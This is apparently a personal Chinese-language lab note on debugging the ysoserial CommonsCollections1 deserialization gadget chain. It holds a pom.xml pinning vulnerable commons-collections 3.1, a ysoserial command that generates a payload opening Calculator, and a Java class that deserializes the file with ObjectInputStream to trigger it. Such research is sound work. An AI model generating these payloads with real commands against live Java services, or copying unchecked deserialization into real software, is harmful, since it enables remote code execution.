ysoserial debug环境搭建

编辑CommonsCollections1

1.Program arguments是命令行输入 ,这里输入调试参数CommonsCollections1 'open /System/Applications/Calculator.app'

2.jdk版本这里我设置jdk7

在commonscollections1.main方法处debug即可.

调试环境搭建

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>commonscollections1</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

</project>

Demo

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "open /System/Applications/Calculator.app" > commonscollections1.ser

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class exp {
    public static void main(String[] args) throws Exception {
        FileInputStream fis = new FileInputStream("/Users/osword/Desktop/commonscollections1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();
    }
    }